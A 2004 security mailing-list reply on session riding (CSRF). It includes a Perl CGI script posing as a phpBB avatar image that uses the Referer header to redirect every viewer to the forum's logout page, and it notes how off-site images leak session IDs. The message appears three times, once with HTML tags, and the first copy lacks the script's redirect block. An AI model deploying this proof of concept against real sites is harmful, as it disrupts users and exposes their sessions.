On Mon, Dec 20, 2004 at 05:00:53PM +0200, Eran Tromer wrote:
> On 12/16/2004 03:13 AM, Thomas Schreiber wrote:
> >SESSION RIDING - A Widespread Vulnerability in Today's Web Applications
> >http://www.securenet.de/papers/Session_Riding.pdf
>
> Nice work. I suspect this vulnerability is quite common and dangerous.
>
> In Section 6.1 ("Countermeasures" / "Use secrets"), you seem to
> concentrate on secrets that are explicitly stored in the server-side
> session record. But one can also use a secret that is computed on-the-fly:
>
> secret = SHA1(site_secret, session_id)
>
> or, in the absence of explicit sessions:
>
> secret = SHA1(site_secret, user_id, user_password)
This might take care of external vectors, but there are some pretty fun
inline attacks that can be mounted against any site that allows references
to off-site images.
We can use phpBB as an innocuous example, since many installations allow
off-site avatar images.
If a malicious user were to set their avatar image to:
http://wastelands.gen.nz/cgi-bin/byebye.png
Which, rather than being an actual image, is the following perl script
-- Snip --
#!/usr/bin/perl -w
use strict;
my($referer, $redirect) = ($ENV{HTTP_REFERER}, undef);
#
# Much better regex mojo could be used here, but it's beer O'clock and my
# brain needs some hurtin'...
#
if ($referer) {
if ($referer =~ /^(http:\/\/.*)\/admin\/.*?\.php/) {
$redirect = "$1/login.php?logout=true";
} elsif ($referer =~ /^(http:\/\/.*)\/.*?\.php/) {
$redirect = "$1/login.php?logout=true";
}
}
Then, any other user of that particular phpBB installation, upon viewing any
page that makes reference to the malicious users avatar image will be
silently logged out.
Interestingly enough the phpBB administrative user management system
displays a users avatar image, so it appears that it's impossible to delete
the offending user (although I am by no means a phpBB expert).
Other interesting points include:
a) The normal phpBB logout link includes a "sid" variable, but the logout
function proceeds normally without it.
b) Off-site image references allow a malicious user to capture static, URL
based, session IDs.
Moving back to reality...
If a system vulnerable to this type of attack were to suddenly add something
along the lines of SHA1(secret + session-id) to the URL of every request, it
wouldn't make a difference.
This information would be available in the referer field, the script would
be re-written to cater for this, and Mr Malicious User would continue on as
normal...
I take my hat off to Mr Schreiber, we've certainly had some fun with this
one,
S.
--
Sometimes, you just have to grin and try again with a fresher corpse and
slight changes to the formula.
On Mon, Dec 20, 2004 at 05:00:53PM +0200, Eran Tromer wrote:<br/>
<br/>
> On 12/16/2004 03:13 AM, Thomas Schreiber wrote:<br/>
> >SESSION RIDING - A Widespread Vulnerability in Today's Web Applications<br/>
> >http://www.securenet.de/papers/Session_Riding.pdf<br/>
> <br/>
> Nice work. I suspect this vulnerability is quite common and dangerous.<br/>
> <br/>
> In Section 6.1 ("Countermeasures" / "Use secrets"), you seem to<br/>
> concentrate on secrets that are explicitly stored in the server-side<br/>
> session record. But one can also use a secret that is computed on-the-fly:<br/>
> <br/>
> secret = SHA1(site_secret, session_id)<br/>
> <br/>
> or, in the absence of explicit sessions:<br/>
> <br/>
> secret = SHA1(site_secret, user_id, user_password)<br/>
<br/>
This might take care of external vectors, but there are some pretty fun<br/>
inline attacks that can be mounted against any site that allows references<br/>
to off-site images.<br/>
<br/>
We can use phpBB as an innocuous example, since many installations allow<br/>
off-site avatar images.<br/>
<br/>
If a malicious user were to set their avatar image to:<br/>
<br/>
http://wastelands.gen.nz/cgi-bin/byebye.png<br/>
<br/>
Which, rather than being an actual image, is the following perl script<br/>
<br/>
-- Snip --<br/>
#!/usr/bin/perl -w<br/>
use strict;<br/>
<br/>
my($referer, $redirect) = ($ENV{HTTP_REFERER}, undef);<br/>
#<br/>
# Much better regex mojo could be used here, but it's beer O'clock and my<br/>
# brain needs some hurtin'...<br/>
#<br/>
if ($referer) {<br/>
if ($referer =~ /^(http:\/\/.*)\/admin\/.*?\.php/) {<br/>
$redirect = "$1/login.php?logout=true";<br/>
} elsif ($referer =~ /^(http:\/\/.*)\/.*?\.php/) {<br/>
$redirect = "$1/login.php?logout=true";<br/>
}<br/>
}<br/>
<br/>
if ($redirect) {<br/>
print "Status: 302 Moved\r\n";<br/>
print "Location: $redirect\r\n\r\n";<br/>
} else {<br/>
print "Status: 404 Not Found\r\n\r\n";<br/>
}<br/>
-- /Snip --<br/>
<br/>
Then, any other user of that particular phpBB installation, upon viewing any<br/>
page that makes reference to the malicious users avatar image will be<br/>
silently logged out.<br/>
<br/>
Interestingly enough the phpBB administrative user management system<br/>
displays a users avatar image, so it appears that it's impossible to delete<br/>
the offending user (although I am by no means a phpBB expert).<br/>
<br/>
Other interesting points include:<br/>
a) The normal phpBB logout link includes a "sid" variable, but the logout<br/>
function proceeds normally without it.<br/>
b) Off-site image references allow a malicious user to capture static, URL<br/>
based, session IDs.<br/>
<br/>
Moving back to reality...<br/>
<br/>
If a system vulnerable to this type of attack were to suddenly add something<br/>
along the lines of SHA1(secret + session-id) to the URL of every request, it<br/>
wouldn't make a difference.<br/>
<br/>
This information would be available in the referer field, the script would<br/>
be re-written to cater for this, and Mr Malicious User would continue on as<br/>
normal...<br/>
<br/>
I take my hat off to Mr Schreiber, we've certainly had some fun with this<br/>
one,<br/>
<br/>
S.<br/>
<br/>
-- <br/>
Sometimes, you just have to grin and try again with a fresher corpse and<br/>
slight changes to the formula.
> On 12/16/2004 03:13 AM, Thomas Schreiber wrote:
> >SESSION RIDING - A Widespread Vulnerability in Today's Web Applications
> >http://www.securenet.de/papers/Session_Riding.pdf
>
> Nice work. I suspect this vulnerability is quite common and dangerous.
>
> In Section 6.1 ("Countermeasures" / "Use secrets"), you seem to
> concentrate on secrets that are explicitly stored in the server-side
> session record. But one can also use a secret that is computed on-the-fly:
>
> secret = SHA1(site_secret, session_id)
>
> or, in the absence of explicit sessions:
>
> secret = SHA1(site_secret, user_id, user_password)
This might take care of external vectors, but there are some pretty fun
inline attacks that can be mounted against any site that allows references
to off-site images.
We can use phpBB as an innocuous example, since many installations allow
off-site avatar images.
If a malicious user were to set their avatar image to:
http://wastelands.gen.nz/cgi-bin/byebye.png
Which, rather than being an actual image, is the following perl script
-- Snip --
#!/usr/bin/perl -w
use strict;
my($referer, $redirect) = ($ENV{HTTP_REFERER}, undef);
#
# Much better regex mojo could be used here, but it's beer O'clock and my
# brain needs some hurtin'...
#
if ($referer) {
if ($referer =~ /^(http:\/\/.*)\/admin\/.*?\.php/) {
$redirect = "$1/login.php?logout=true";
} elsif ($referer =~ /^(http:\/\/.*)\/.*?\.php/) {
$redirect = "$1/login.php?logout=true";
}
}
if ($redirect) {
print "Status: 302 Moved\r\n";
print "Location: $redirect\r\n\r\n";
} else {
print "Status: 404 Not Found\r\n\r\n";
}
-- /Snip --
Then, any other user of that particular phpBB installation, upon viewing any
page that makes reference to the malicious users avatar image will be
silently logged out.
Interestingly enough the phpBB administrative user management system
displays a users avatar image, so it appears that it's impossible to delete
the offending user (although I am by no means a phpBB expert).
Other interesting points include:
a) The normal phpBB logout link includes a "sid" variable, but the logout
function proceeds normally without it.
b) Off-site image references allow a malicious user to capture static, URL
based, session IDs.
Moving back to reality...
If a system vulnerable to this type of attack were to suddenly add something
along the lines of SHA1(secret + session-id) to the URL of every request, it
wouldn't make a difference.
This information would be available in the referer field, the script would
be re-written to cater for this, and Mr Malicious User would continue on as
normal...
I take my hat off to Mr Schreiber, we've certainly had some fun with this
one,
S.
--
Sometimes, you just have to grin and try again with a fresher corpse and
slight changes to the formula.
[ reply ]